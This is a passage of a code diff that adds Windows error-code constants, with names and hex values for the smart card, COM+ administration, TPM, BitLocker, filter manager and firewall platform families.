+SCARD_E_PROTO_MISMATCH                                       = 0x8010000F
+SCARD_E_NOT_READY                                            = 0x80100010
+SCARD_E_INVALID_VALUE                                        = 0x80100011
+SCARD_E_SYSTEM_CANCELLED                                     = 0x80100012
+SCARD_F_COMM_ERROR                                           = 0x80100013
+SCARD_F_UNKNOWN_ERROR                                        = 0x80100014
+SCARD_E_INVALID_ATR                                          = 0x80100015
+SCARD_E_NOT_TRANSACTED                                       = 0x80100016
+SCARD_E_READER_UNAVAILABLE                                   = 0x80100017
+SCARD_P_SHUTDOWN                                             = 0x80100018
+SCARD_E_PCI_TOO_SMALL                                        = 0x80100019
+SCARD_E_READER_UNSUPPORTED                                   = 0x8010001A
+SCARD_E_DUPLICATE_READER                                     = 0x8010001B
+SCARD_E_CARD_UNSUPPORTED                                     = 0x8010001C
+SCARD_E_NO_SERVICE                                           = 0x8010001D
+SCARD_E_SERVICE_STOPPED                                      = 0x8010001E
+SCARD_E_UNEXPECTED                                           = 0x8010001F
+SCARD_E_ICC_INSTALLATION                                     = 0x80100020
+SCARD_E_ICC_CREATEORDER                                      = 0x80100021
+SCARD_E_UNSUPPORTED_FEATURE                                  = 0x80100022
+SCARD_E_DIR_NOT_FOUND                                        = 0x80100023
+SCARD_E_FILE_NOT_FOUND                                       = 0x80100024
+SCARD_E_NO_DIR                                               = 0x80100025
+SCARD_E_NO_FILE                                              = 0x80100026
+SCARD_E_NO_ACCESS                                            = 0x80100027
+SCARD_E_WRITE_TOO_MANY                                       = 0x80100028
+SCARD_E_BAD_SEEK                                             = 0x80100029
+SCARD_E_INVALID_CHV                                          = 0x8010002A
+SCARD_E_UNKNOWN_RES_MNG                                      = 0x8010002B
+SCARD_E_NO_SUCH_CERTIFICATE                                  = 0x8010002C
+SCARD_E_CERTIFICATE_UNAVAILABLE                              = 0x8010002D
+SCARD_E_NO_READERS_AVAILABLE                                 = 0x8010002E
+SCARD_E_COMM_DATA_LOST                                       = 0x8010002F
+SCARD_E_NO_KEY_CONTAINER                                     = 0x80100030
+SCARD_E_SERVER_TOO_BUSY                                      = 0x80100031
+SCARD_W_UNSUPPORTED_CARD                                     = 0x80100065
+SCARD_W_UNRESPONSIVE_CARD                                    = 0x80100066
+SCARD_W_UNPOWERED_CARD                                       = 0x80100067
+SCARD_W_RESET_CARD                                           = 0x80100068
+SCARD_W_REMOVED_CARD                                         = 0x80100069
+SCARD_W_SECURITY_VIOLATION                                   = 0x8010006A
+SCARD_W_WRONG_CHV                                            = 0x8010006B
+SCARD_W_CHV_BLOCKED                                          = 0x8010006C
+SCARD_W_EOF                                                  = 0x8010006D
+SCARD_W_CANCELLED_BY_USER                                    = 0x8010006E
+SCARD_W_CARD_NOT_AUTHENTICATED                               = 0x8010006F
+COMADMIN_E_OBJECTERRORS                                      = 0x80110401
+COMADMIN_E_OBJECTINVALID                                     = 0x80110402
+COMADMIN_E_KEYMISSING                                        = 0x80110403
+COMADMIN_E_ALREADYINSTALLED                                  = 0x80110404
+COMADMIN_E_APP_FILE_WRITEFAIL                                = 0x80110407
+COMADMIN_E_APP_FILE_READFAIL                                 = 0x80110408
+COMADMIN_E_APP_FILE_VERSION                                  = 0x80110409
+COMADMIN_E_BADPATH                                           = 0x8011040A
+COMADMIN_E_APPLICATIONEXISTS                                 = 0x8011040B
+COMADMIN_E_ROLEEXISTS                                        = 0x8011040C
+COMADMIN_E_CANTCOPYFILE                                      = 0x8011040D
+COMADMIN_E_NOUSER                                            = 0x8011040F
+COMADMIN_E_INVALIDUSERIDS                                    = 0x80110410
+COMADMIN_E_NOREGISTRYCLSID                                   = 0x80110411
+COMADMIN_E_BADREGISTRYPROGID                                 = 0x80110412
+COMADMIN_E_AUTHENTICATIONLEVEL                               = 0x80110413
+COMADMIN_E_USERPASSWDNOTVALID                                = 0x80110414
+COMADMIN_E_CLSIDORIIDMISMATCH                                = 0x80110418
+COMADMIN_E_REMOTEINTERFACE                                   = 0x80110419
+COMADMIN_E_DLLREGISTERSERVER                                 = 0x8011041A
+COMADMIN_E_NOSERVERSHARE                                     = 0x8011041B
+COMADMIN_E_DLLLOADFAILED                                     = 0x8011041D
+COMADMIN_E_BADREGISTRYLIBID                                  = 0x8011041E
+COMADMIN_E_APPDIRNOTFOUND                                    = 0x8011041F
+COMADMIN_E_REGISTRARFAILED                                   = 0x80110423
+COMADMIN_E_COMPFILE_DOESNOTEXIST                             = 0x80110424
+COMADMIN_E_COMPFILE_LOADDLLFAIL                              = 0x80110425
+COMADMIN_E_COMPFILE_GETCLASSOBJ                              = 0x80110426
+COMADMIN_E_COMPFILE_CLASSNOTAVAIL                            = 0x80110427
+COMADMIN_E_COMPFILE_BADTLB                                   = 0x80110428
+COMADMIN_E_COMPFILE_NOTINSTALLABLE                           = 0x80110429
+COMADMIN_E_NOTCHANGEABLE                                     = 0x8011042A
+COMADMIN_E_NOTDELETEABLE                                     = 0x8011042B
+COMADMIN_E_SESSION                                           = 0x8011042C
+COMADMIN_E_COMP_MOVE_LOCKED                                  = 0x8011042D
+COMADMIN_E_COMP_MOVE_BAD_DEST                                = 0x8011042E
+COMADMIN_E_REGISTERTLB                                       = 0x80110430
+COMADMIN_E_SYSTEMAPP                                         = 0x80110433
+COMADMIN_E_COMPFILE_NOREGISTRAR                              = 0x80110434
+COMADMIN_E_COREQCOMPINSTALLED                                = 0x80110435
+COMADMIN_E_SERVICENOTINSTALLED                               = 0x80110436
+COMADMIN_E_PROPERTYSAVEFAILED                                = 0x80110437
+COMADMIN_E_OBJECTEXISTS                                      = 0x80110438
+COMADMIN_E_COMPONENTEXISTS                                   = 0x80110439
+COMADMIN_E_REGFILE_CORRUPT                                   = 0x8011043B
+COMADMIN_E_PROPERTY_OVERFLOW                                 = 0x8011043C
+COMADMIN_E_NOTINREGISTRY                                     = 0x8011043E
+COMADMIN_E_OBJECTNOTPOOLABLE                                 = 0x8011043F
+COMADMIN_E_APPLID_MATCHES_CLSID                              = 0x80110446
+COMADMIN_E_ROLE_DOES_NOT_EXIST                               = 0x80110447
+COMADMIN_E_START_APP_NEEDS_COMPONENTS                        = 0x80110448
+COMADMIN_E_REQUIRES_DIFFERENT_PLATFORM                       = 0x80110449
+COMADMIN_E_CAN_NOT_EXPORT_APP_PROXY                          = 0x8011044A
+COMADMIN_E_CAN_NOT_START_APP                                 = 0x8011044B
+COMADMIN_E_CAN_NOT_EXPORT_SYS_APP                            = 0x8011044C
+COMADMIN_E_CANT_SUBSCRIBE_TO_COMPONENT                       = 0x8011044D
+COMADMIN_E_EVENTCLASS_CANT_BE_SUBSCRIBER                     = 0x8011044E
+COMADMIN_E_LIB_APP_PROXY_INCOMPATIBLE                        = 0x8011044F
+COMADMIN_E_BASE_PARTITION_ONLY                               = 0x80110450
+COMADMIN_E_START_APP_DISABLED                                = 0x80110451
+COMADMIN_E_CAT_DUPLICATE_PARTITION_NAME                      = 0x80110457
+COMADMIN_E_CAT_INVALID_PARTITION_NAME                        = 0x80110458
+COMADMIN_E_CAT_PARTITION_IN_USE                              = 0x80110459
+COMADMIN_E_FILE_PARTITION_DUPLICATE_FILES                    = 0x8011045A
+COMADMIN_E_CAT_IMPORTED_COMPONENTS_NOT_ALLOWED               = 0x8011045B
+COMADMIN_E_AMBIGUOUS_APPLICATION_NAME                        = 0x8011045C
+COMADMIN_E_AMBIGUOUS_PARTITION_NAME                          = 0x8011045D
+COMADMIN_E_REGDB_NOTINITIALIZED                              = 0x80110472
+COMADMIN_E_REGDB_NOTOPEN                                     = 0x80110473
+COMADMIN_E_REGDB_SYSTEMERR                                   = 0x80110474
+COMADMIN_E_REGDB_ALREADYRUNNING                              = 0x80110475
+COMADMIN_E_MIG_VERSIONNOTSUPPORTED                           = 0x80110480
+COMADMIN_E_MIG_SCHEMANOTFOUND                                = 0x80110481
+COMADMIN_E_CAT_BITNESSMISMATCH                               = 0x80110482
+COMADMIN_E_CAT_UNACCEPTABLEBITNESS                           = 0x80110483
+COMADMIN_E_CAT_WRONGAPPBITNESS                               = 0x80110484
+COMADMIN_E_CAT_PAUSE_RESUME_NOT_SUPPORTED                    = 0x80110485
+COMADMIN_E_CAT_SERVERFAULT                                   = 0x80110486
+COMQC_E_APPLICATION_NOT_QUEUED                               = 0x80110600
+COMQC_E_NO_QUEUEABLE_INTERFACES                              = 0x80110601
+COMQC_E_QUEUING_SERVICE_NOT_AVAILABLE                        = 0x80110602
+COMQC_E_NO_IPERSISTSTREAM                                    = 0x80110603
+COMQC_E_BAD_MESSAGE                                          = 0x80110604
+COMQC_E_UNAUTHENTICATED                                      = 0x80110605
+COMQC_E_UNTRUSTED_ENQUEUER                                   = 0x80110606
+MSDTC_E_DUPLICATE_RESOURCE                                   = 0x80110701
+COMADMIN_E_OBJECT_PARENT_MISSING                             = 0x80110808
+COMADMIN_E_OBJECT_DOES_NOT_EXIST                             = 0x80110809
+COMADMIN_E_APP_NOT_RUNNING                                   = 0x8011080A
+COMADMIN_E_INVALID_PARTITION                                 = 0x8011080B
+COMADMIN_E_SVCAPP_NOT_POOLABLE_OR_RECYCLABLE                 = 0x8011080D
+COMADMIN_E_USER_IN_SET                                       = 0x8011080E
+COMADMIN_E_CANTRECYCLELIBRARYAPPS                            = 0x8011080F
+COMADMIN_E_CANTRECYCLESERVICEAPPS                            = 0x80110811
+COMADMIN_E_PROCESSALREADYRECYCLED                            = 0x80110812
+COMADMIN_E_PAUSEDPROCESSMAYNOTBERECYCLED                     = 0x80110813
+COMADMIN_E_CANTMAKEINPROCSERVICE                             = 0x80110814
+COMADMIN_E_PROGIDINUSEBYCLSID                                = 0x80110815
+COMADMIN_E_DEFAULT_PARTITION_NOT_IN_SET                      = 0x80110816
+COMADMIN_E_RECYCLEDPROCESSMAYNOTBEPAUSED                     = 0x80110817
+COMADMIN_E_PARTITION_ACCESSDENIED                            = 0x80110818
+COMADMIN_E_PARTITION_MSI_ONLY                                = 0x80110819
+COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_1_0_FORMAT             = 0x8011081A
+COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_NONBASE_PARTITIONS     = 0x8011081B
+COMADMIN_E_COMP_MOVE_SOURCE                                  = 0x8011081C
+COMADMIN_E_COMP_MOVE_DEST                                    = 0x8011081D
+COMADMIN_E_COMP_MOVE_PRIVATE                                 = 0x8011081E
+COMADMIN_E_BASEPARTITION_REQUIRED_IN_SET                     = 0x8011081F
+COMADMIN_E_CANNOT_ALIAS_EVENTCLASS                           = 0x80110820
+COMADMIN_E_PRIVATE_ACCESSDENIED                              = 0x80110821
+COMADMIN_E_SAFERINVALID                                      = 0x80110822
+COMADMIN_E_REGISTRY_ACCESSDENIED                             = 0x80110823
+COMADMIN_E_PARTITIONS_DISABLED                               = 0x80110824
+ERROR_FLT_NO_HANDLER_DEFINED                                 = 0x801F0001
+ERROR_FLT_CONTEXT_ALREADY_DEFINED                            = 0x801F0002
+ERROR_FLT_INVALID_ASYNCHRONOUS_REQUEST                       = 0x801F0003
+ERROR_FLT_DISALLOW_FAST_IO                                   = 0x801F0004
+ERROR_FLT_INVALID_NAME_REQUEST                               = 0x801F0005
+ERROR_FLT_NOT_SAFE_TO_POST_OPERATION                         = 0x801F0006
+ERROR_FLT_NOT_INITIALIZED                                    = 0x801F0007
+ERROR_FLT_FILTER_NOT_READY                                   = 0x801F0008
+ERROR_FLT_POST_OPERATION_CLEANUP                             = 0x801F0009
+ERROR_FLT_INTERNAL_ERROR                                     = 0x801F000A
+ERROR_FLT_DELETING_OBJECT                                    = 0x801F000B
+ERROR_FLT_MUST_BE_NONPAGED_POOL                              = 0x801F000C
+ERROR_FLT_DUPLICATE_ENTRY                                    = 0x801F000D
+ERROR_FLT_CBDQ_DISABLED                                      = 0x801F000E
+ERROR_FLT_DO_NOT_ATTACH                                      = 0x801F000F
+ERROR_FLT_DO_NOT_DETACH                                      = 0x801F0010
+ERROR_FLT_INSTANCE_ALTITUDE_COLLISION                        = 0x801F0011
+ERROR_FLT_INSTANCE_NAME_COLLISION                            = 0x801F0012
+ERROR_FLT_FILTER_NOT_FOUND                                   = 0x801F0013
+ERROR_FLT_VOLUME_NOT_FOUND                                   = 0x801F0014
+ERROR_FLT_INSTANCE_NOT_FOUND                                 = 0x801F0015
+ERROR_FLT_CONTEXT_ALLOCATION_NOT_FOUND                       = 0x801F0016
+ERROR_FLT_INVALID_CONTEXT_REGISTRATION                       = 0x801F0017
+ERROR_FLT_NAME_CACHE_MISS                                    = 0x801F0018
+ERROR_FLT_NO_DEVICE_OBJECT                                   = 0x801F0019
+ERROR_FLT_VOLUME_ALREADY_MOUNTED                             = 0x801F001A
+ERROR_FLT_ALREADY_ENLISTED                                   = 0x801F001B
+ERROR_FLT_CONTEXT_ALREADY_LINKED                             = 0x801F001C
+ERROR_FLT_NO_WAITER_FOR_REPLY                                = 0x801F0020
+ERROR_HUNG_DISPLAY_DRIVER_THREAD                             = 0x80260001
+ERROR_MONITOR_NO_DESCRIPTOR                                  = 0x80261001
+ERROR_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT                      = 0x80261002
+DWM_E_COMPOSITIONDISABLED                                    = 0x80263001
+DWM_E_REMOTING_NOT_SUPPORTED                                 = 0x80263002
+DWM_E_NO_REDIRECTION_SURFACE_AVAILABLE                       = 0x80263003
+DWM_E_NOT_QUEUING_PRESENTS                                   = 0x80263004
+TPM_E_ERROR_MASK                                             = 0x80280000
+TPM_E_AUTHFAIL                                               = 0x80280001
+TPM_E_BADINDEX                                               = 0x80280002
+TPM_E_BAD_PARAMETER                                          = 0x80280003
+TPM_E_AUDITFAILURE                                           = 0x80280004
+TPM_E_CLEAR_DISABLED                                         = 0x80280005
+TPM_E_DEACTIVATED                                            = 0x80280006
+TPM_E_DISABLED                                               = 0x80280007
+TPM_E_DISABLED_CMD                                           = 0x80280008
+TPM_E_FAIL                                                   = 0x80280009
+TPM_E_BAD_ORDINAL                                            = 0x8028000A
+TPM_E_INSTALL_DISABLED                                       = 0x8028000B
+TPM_E_INVALID_KEYHANDLE                                      = 0x8028000C
+TPM_E_KEYNOTFOUND                                            = 0x8028000D
+TPM_E_INAPPROPRIATE_ENC                                      = 0x8028000E
+TPM_E_MIGRATEFAIL                                            = 0x8028000F
+TPM_E_INVALID_PCR_INFO                                       = 0x80280010
+TPM_E_NOSPACE                                                = 0x80280011
+TPM_E_NOSRK                                                  = 0x80280012
+TPM_E_NOTSEALED_BLOB                                         = 0x80280013
+TPM_E_OWNER_SET                                              = 0x80280014
+TPM_E_RESOURCES                                              = 0x80280015
+TPM_E_SHORTRANDOM                                            = 0x80280016
+TPM_E_SIZE                                                   = 0x80280017
+TPM_E_WRONGPCRVAL                                            = 0x80280018
+TPM_E_BAD_PARAM_SIZE                                         = 0x80280019
+TPM_E_SHA_THREAD                                             = 0x8028001A
+TPM_E_SHA_ERROR                                              = 0x8028001B
+TPM_E_FAILEDSELFTEST                                         = 0x8028001C
+TPM_E_AUTH2FAIL                                              = 0x8028001D
+TPM_E_BADTAG                                                 = 0x8028001E
+TPM_E_IOERROR                                                = 0x8028001F
+TPM_E_ENCRYPT_ERROR                                          = 0x80280020
+TPM_E_DECRYPT_ERROR                                          = 0x80280021
+TPM_E_INVALID_AUTHHANDLE                                     = 0x80280022
+TPM_E_NO_ENDORSEMENT                                         = 0x80280023
+TPM_E_INVALID_KEYUSAGE                                       = 0x80280024
+TPM_E_WRONG_ENTITYTYPE                                       = 0x80280025
+TPM_E_INVALID_POSTINIT                                       = 0x80280026
+TPM_E_INAPPROPRIATE_SIG                                      = 0x80280027
+TPM_E_BAD_KEY_PROPERTY                                       = 0x80280028
+TPM_E_BAD_MIGRATION                                          = 0x80280029
+TPM_E_BAD_SCHEME                                             = 0x8028002A
+TPM_E_BAD_DATASIZE                                           = 0x8028002B
+TPM_E_BAD_MODE                                               = 0x8028002C
+TPM_E_BAD_PRESENCE                                           = 0x8028002D
+TPM_E_BAD_VERSION                                            = 0x8028002E
+TPM_E_NO_WRAP_TRANSPORT                                      = 0x8028002F
+TPM_E_AUDITFAIL_UNSUCCESSFUL                                 = 0x80280030
+TPM_E_AUDITFAIL_SUCCESSFUL                                   = 0x80280031
+TPM_E_NOTRESETABLE                                           = 0x80280032
+TPM_E_NOTLOCAL                                               = 0x80280033
+TPM_E_BAD_TYPE                                               = 0x80280034
+TPM_E_INVALID_RESOURCE                                       = 0x80280035
+TPM_E_NOTFIPS                                                = 0x80280036
+TPM_E_INVALID_FAMILY                                         = 0x80280037
+TPM_E_NO_NV_PERMISSION                                       = 0x80280038
+TPM_E_REQUIRES_SIGN                                          = 0x80280039
+TPM_E_KEY_NOTSUPPORTED                                       = 0x8028003A
+TPM_E_AUTH_CONFLICT                                          = 0x8028003B
+TPM_E_AREA_LOCKED                                            = 0x8028003C
+TPM_E_BAD_LOCALITY                                           = 0x8028003D
+TPM_E_READ_ONLY                                              = 0x8028003E
+TPM_E_PER_NOWRITE                                            = 0x8028003F
+TPM_E_FAMILYCOUNT                                            = 0x80280040
+TPM_E_WRITE_LOCKED                                           = 0x80280041
+TPM_E_BAD_ATTRIBUTES                                         = 0x80280042
+TPM_E_INVALID_STRUCTURE                                      = 0x80280043
+TPM_E_KEY_OWNER_CONTROL                                      = 0x80280044
+TPM_E_BAD_COUNTER                                            = 0x80280045
+TPM_E_NOT_FULLWRITE                                          = 0x80280046
+TPM_E_CONTEXT_GAP                                            = 0x80280047
+TPM_E_MAXNVWRITES                                            = 0x80280048
+TPM_E_NOOPERATOR                                             = 0x80280049
+TPM_E_RESOURCEMISSING                                        = 0x8028004A
+TPM_E_DELEGATE_LOCK                                          = 0x8028004B
+TPM_E_DELEGATE_FAMILY                                        = 0x8028004C
+TPM_E_DELEGATE_ADMIN                                         = 0x8028004D
+TPM_E_TRANSPORT_NOTEXCLUSIVE                                 = 0x8028004E
+TPM_E_OWNER_CONTROL                                          = 0x8028004F
+TPM_E_DAA_RESOURCES                                          = 0x80280050
+TPM_E_DAA_INPUT_DATA0                                        = 0x80280051
+TPM_E_DAA_INPUT_DATA1                                        = 0x80280052
+TPM_E_DAA_ISSUER_SETTINGS                                    = 0x80280053
+TPM_E_DAA_TPM_SETTINGS                                       = 0x80280054
+TPM_E_DAA_STAGE                                              = 0x80280055
+TPM_E_DAA_ISSUER_VALIDITY                                    = 0x80280056
+TPM_E_DAA_WRONG_W                                            = 0x80280057
+TPM_E_BAD_HANDLE                                             = 0x80280058
+TPM_E_BAD_DELEGATE                                           = 0x80280059
+TPM_E_BADCONTEXT                                             = 0x8028005A
+TPM_E_TOOMANYCONTEXTS                                        = 0x8028005B
+TPM_E_MA_TICKET_SIGNATURE                                    = 0x8028005C
+TPM_E_MA_DESTINATION                                         = 0x8028005D
+TPM_E_MA_SOURCE                                              = 0x8028005E
+TPM_E_MA_AUTHORITY                                           = 0x8028005F
+TPM_E_PERMANENTEK                                            = 0x80280061
+TPM_E_BAD_SIGNATURE                                          = 0x80280062
+TPM_E_NOCONTEXTSPACE                                         = 0x80280063
+TPM_E_COMMAND_BLOCKED                                        = 0x80280400
+TPM_E_INVALID_HANDLE                                         = 0x80280401
+TPM_E_DUPLICATE_VHANDLE                                      = 0x80280402
+TPM_E_EMBEDDED_COMMAND_BLOCKED                               = 0x80280403
+TPM_E_EMBEDDED_COMMAND_UNSUPPORTED                           = 0x80280404
+TPM_E_RETRY                                                  = 0x80280800
+TPM_E_NEEDS_SELFTEST                                         = 0x80280801
+TPM_E_DOING_SELFTEST                                         = 0x80280802
+TPM_E_DEFEND_LOCK_RUNNING                                    = 0x80280803
+TBS_E_INTERNAL_ERROR                                         = 0x80284001
+TBS_E_BAD_PARAMETER                                          = 0x80284002
+TBS_E_INVALID_OUTPUT_POINTER                                 = 0x80284003
+TBS_E_INVALID_CONTEXT                                        = 0x80284004
+TBS_E_INSUFFICIENT_BUFFER                                    = 0x80284005
+TBS_E_IOERROR                                                = 0x80284006
+TBS_E_INVALID_CONTEXT_PARAM                                  = 0x80284007
+TBS_E_SERVICE_NOT_RUNNING                                    = 0x80284008
+TBS_E_TOO_MANY_TBS_CONTEXTS                                  = 0x80284009
+TBS_E_TOO_MANY_RESOURCES                                     = 0x8028400A
+TBS_E_SERVICE_START_PENDING                                  = 0x8028400B
+TBS_E_PPI_NOT_SUPPORTED                                      = 0x8028400C
+TBS_E_COMMAND_CANCELED                                       = 0x8028400D
+TBS_E_BUFFER_TOO_LARGE                                       = 0x8028400E
+TPMAPI_E_INVALID_STATE                                       = 0x80290100
+TPMAPI_E_NOT_ENOUGH_DATA                                     = 0x80290101
+TPMAPI_E_TOO_MUCH_DATA                                       = 0x80290102
+TPMAPI_E_INVALID_OUTPUT_POINTER                              = 0x80290103
+TPMAPI_E_INVALID_PARAMETER                                   = 0x80290104
+TPMAPI_E_OUT_OF_MEMORY                                       = 0x80290105
+TPMAPI_E_BUFFER_TOO_SMALL                                    = 0x80290106
+TPMAPI_E_INTERNAL_ERROR                                      = 0x80290107
+TPMAPI_E_ACCESS_DENIED                                       = 0x80290108
+TPMAPI_E_AUTHORIZATION_FAILED                                = 0x80290109
+TPMAPI_E_INVALID_CONTEXT_HANDLE                              = 0x8029010A
+TPMAPI_E_TBS_COMMUNICATION_ERROR                             = 0x8029010B
+TPMAPI_E_TPM_COMMAND_ERROR                                   = 0x8029010C
+TPMAPI_E_MESSAGE_TOO_LARGE                                   = 0x8029010D
+TPMAPI_E_INVALID_ENCODING                                    = 0x8029010E
+TPMAPI_E_INVALID_KEY_SIZE                                    = 0x8029010F
+TPMAPI_E_ENCRYPTION_FAILED                                   = 0x80290110
+TPMAPI_E_INVALID_KEY_PARAMS                                  = 0x80290111
+TPMAPI_E_INVALID_MIGRATION_AUTHORIZATION_BLOB                = 0x80290112
+TPMAPI_E_INVALID_PCR_INDEX                                   = 0x80290113
+TPMAPI_E_INVALID_DELEGATE_BLOB                               = 0x80290114
+TPMAPI_E_INVALID_CONTEXT_PARAMS                              = 0x80290115
+TPMAPI_E_INVALID_KEY_BLOB                                    = 0x80290116
+TPMAPI_E_INVALID_PCR_DATA                                    = 0x80290117
+TPMAPI_E_INVALID_OWNER_AUTH                                  = 0x80290118
+TBSIMP_E_BUFFER_TOO_SMALL                                    = 0x80290200
+TBSIMP_E_CLEANUP_FAILED                                      = 0x80290201
+TBSIMP_E_INVALID_CONTEXT_HANDLE                              = 0x80290202
+TBSIMP_E_INVALID_CONTEXT_PARAM                               = 0x80290203
+TBSIMP_E_TPM_ERROR                                           = 0x80290204
+TBSIMP_E_HASH_BAD_KEY                                        = 0x80290205
+TBSIMP_E_DUPLICATE_VHANDLE                                   = 0x80290206
+TBSIMP_E_INVALID_OUTPUT_POINTER                              = 0x80290207
+TBSIMP_E_INVALID_PARAMETER                                   = 0x80290208
+TBSIMP_E_RPC_INIT_FAILED                                     = 0x80290209
+TBSIMP_E_SCHEDULER_NOT_RUNNING                               = 0x8029020A
+TBSIMP_E_COMMAND_CANCELED                                    = 0x8029020B
+TBSIMP_E_OUT_OF_MEMORY                                       = 0x8029020C
+TBSIMP_E_LIST_NO_MORE_ITEMS                                  = 0x8029020D
+TBSIMP_E_LIST_NOT_FOUND                                      = 0x8029020E
+TBSIMP_E_NOT_ENOUGH_SPACE                                    = 0x8029020F
+TBSIMP_E_NOT_ENOUGH_TPM_CONTEXTS                             = 0x80290210
+TBSIMP_E_COMMAND_FAILED                                      = 0x80290211
+TBSIMP_E_UNKNOWN_ORDINAL                                     = 0x80290212
+TBSIMP_E_RESOURCE_EXPIRED                                    = 0x80290213
+TBSIMP_E_INVALID_RESOURCE                                    = 0x80290214
+TBSIMP_E_NOTHING_TO_UNLOAD                                   = 0x80290215
+TBSIMP_E_HASH_TABLE_FULL                                     = 0x80290216
+TBSIMP_E_TOO_MANY_TBS_CONTEXTS                               = 0x80290217
+TBSIMP_E_TOO_MANY_RESOURCES                                  = 0x80290218
+TBSIMP_E_PPI_NOT_SUPPORTED                                   = 0x80290219
+TBSIMP_E_TPM_INCOMPATIBLE                                    = 0x8029021A
+TPM_E_PPI_ACPI_FAILURE                                       = 0x80290300
+TPM_E_PPI_USER_ABORT                                         = 0x80290301
+TPM_E_PPI_BIOS_FAILURE                                       = 0x80290302
+TPM_E_PPI_NOT_SUPPORTED                                      = 0x80290303
+PLA_E_DCS_NOT_FOUND                                          = 0x80300002
+PLA_E_TOO_MANY_FOLDERS                                       = 0x80300045
+PLA_E_NO_MIN_DISK                                            = 0x80300070
+PLA_E_DCS_IN_USE                                             = 0x803000AA
+PLA_E_DCS_ALREADY_EXISTS                                     = 0x803000B7
+PLA_E_PROPERTY_CONFLICT                                      = 0x80300101
+PLA_E_DCS_SINGLETON_REQUIRED                                 = 0x80300102
+PLA_E_CREDENTIALS_REQUIRED                                   = 0x80300103
+PLA_E_DCS_NOT_RUNNING                                        = 0x80300104
+PLA_E_CONFLICT_INCL_EXCL_API                                 = 0x80300105
+PLA_E_NETWORK_EXE_NOT_VALID                                  = 0x80300106
+PLA_E_EXE_ALREADY_CONFIGURED                                 = 0x80300107
+PLA_E_EXE_PATH_NOT_VALID                                     = 0x80300108
+PLA_E_DC_ALREADY_EXISTS                                      = 0x80300109
+PLA_E_DCS_START_WAIT_TIMEOUT                                 = 0x8030010A
+PLA_E_DC_START_WAIT_TIMEOUT                                  = 0x8030010B
+PLA_E_REPORT_WAIT_TIMEOUT                                    = 0x8030010C
+PLA_E_NO_DUPLICATES                                          = 0x8030010D
+PLA_E_EXE_FULL_PATH_REQUIRED                                 = 0x8030010E
+PLA_E_INVALID_SESSION_NAME                                   = 0x8030010F
+PLA_E_PLA_CHANNEL_NOT_ENABLED                                = 0x80300110
+PLA_E_TASKSCHED_CHANNEL_NOT_ENABLED                          = 0x80300111
+FVE_E_LOCKED_VOLUME                                          = 0x80310000
+FVE_E_NOT_ENCRYPTED                                          = 0x80310001
+FVE_E_NO_TPM_BIOS                                            = 0x80310002
+FVE_E_NO_MBR_METRIC                                          = 0x80310003
+FVE_E_NO_BOOTSECTOR_METRIC                                   = 0x80310004
+FVE_E_NO_BOOTMGR_METRIC                                      = 0x80310005
+FVE_E_WRONG_BOOTMGR                                          = 0x80310006
+FVE_E_SECURE_KEY_REQUIRED                                    = 0x80310007
+FVE_E_NOT_ACTIVATED                                          = 0x80310008
+FVE_E_ACTION_NOT_ALLOWED                                     = 0x80310009
+FVE_E_AD_SCHEMA_NOT_INSTALLED                                = 0x8031000A
+FVE_E_AD_INVALID_DATATYPE                                    = 0x8031000B
+FVE_E_AD_INVALID_DATASIZE                                    = 0x8031000C
+FVE_E_AD_NO_VALUES                                           = 0x8031000D
+FVE_E_AD_ATTR_NOT_SET                                        = 0x8031000E
+FVE_E_AD_GUID_NOT_FOUND                                      = 0x8031000F
+FVE_E_BAD_INFORMATION                                        = 0x80310010
+FVE_E_TOO_SMALL                                              = 0x80310011
+FVE_E_SYSTEM_VOLUME                                          = 0x80310012
+FVE_E_FAILED_WRONG_FS                                        = 0x80310013
+FVE_E_FAILED_BAD_FS                                          = 0x80310014
+FVE_E_NOT_SUPPORTED                                          = 0x80310015
+FVE_E_BAD_DATA                                               = 0x80310016
+FVE_E_VOLUME_NOT_BOUND                                       = 0x80310017
+FVE_E_TPM_NOT_OWNED                                          = 0x80310018
+FVE_E_NOT_DATA_VOLUME                                        = 0x80310019
+FVE_E_AD_INSUFFICIENT_BUFFER                                 = 0x8031001A
+FVE_E_CONV_READ                                              = 0x8031001B
+FVE_E_CONV_WRITE                                             = 0x8031001C
+FVE_E_KEY_REQUIRED                                           = 0x8031001D
+FVE_E_CLUSTERING_NOT_SUPPORTED                               = 0x8031001E
+FVE_E_VOLUME_BOUND_ALREADY                                   = 0x8031001F
+FVE_E_OS_NOT_PROTECTED                                       = 0x80310020
+FVE_E_PROTECTION_DISABLED                                    = 0x80310021
+FVE_E_RECOVERY_KEY_REQUIRED                                  = 0x80310022
+FVE_E_FOREIGN_VOLUME                                         = 0x80310023
+FVE_E_OVERLAPPED_UPDATE                                      = 0x80310024
+FVE_E_TPM_SRK_AUTH_NOT_ZERO                                  = 0x80310025
+FVE_E_FAILED_SECTOR_SIZE                                     = 0x80310026
+FVE_E_FAILED_AUTHENTICATION                                  = 0x80310027
+FVE_E_NOT_OS_VOLUME                                          = 0x80310028
+FVE_E_AUTOUNLOCK_ENABLED                                     = 0x80310029
+FVE_E_WRONG_BOOTSECTOR                                       = 0x8031002A
+FVE_E_WRONG_SYSTEM_FS                                        = 0x8031002B
+FVE_E_POLICY_PASSWORD_REQUIRED                               = 0x8031002C
+FVE_E_CANNOT_SET_FVEK_ENCRYPTED                              = 0x8031002D
+FVE_E_CANNOT_ENCRYPT_NO_KEY                                  = 0x8031002E
+FVE_E_BOOTABLE_CDDVD                                         = 0x80310030
+FVE_E_PROTECTOR_EXISTS                                       = 0x80310031
+FVE_E_RELATIVE_PATH                                          = 0x80310032
+FWP_E_CALLOUT_NOT_FOUND                                      = 0x80320001
+FWP_E_CONDITION_NOT_FOUND                                    = 0x80320002
+FWP_E_FILTER_NOT_FOUND                                       = 0x80320003
+FWP_E_LAYER_NOT_FOUND                                        = 0x80320004
+FWP_E_PROVIDER_NOT_FOUND                                     = 0x80320005
+FWP_E_PROVIDER_CONTEXT_NOT_FOUND                             = 0x80320006
+FWP_E_SUBLAYER_NOT_FOUND                                     = 0x80320007
+FWP_E_NOT_FOUND                                              = 0x80320008
+FWP_E_ALREADY_EXISTS                                         = 0x80320009
+FWP_E_IN_USE                                                 = 0x8032000A
+FWP_E_DYNAMIC_SESSION_IN_PROGRESS                            = 0x8032000B
+FWP_E_WRONG_SESSION                                          = 0x8032000C
+FWP_E_NO_TXN_IN_PROGRESS                                     = 0x8032000D
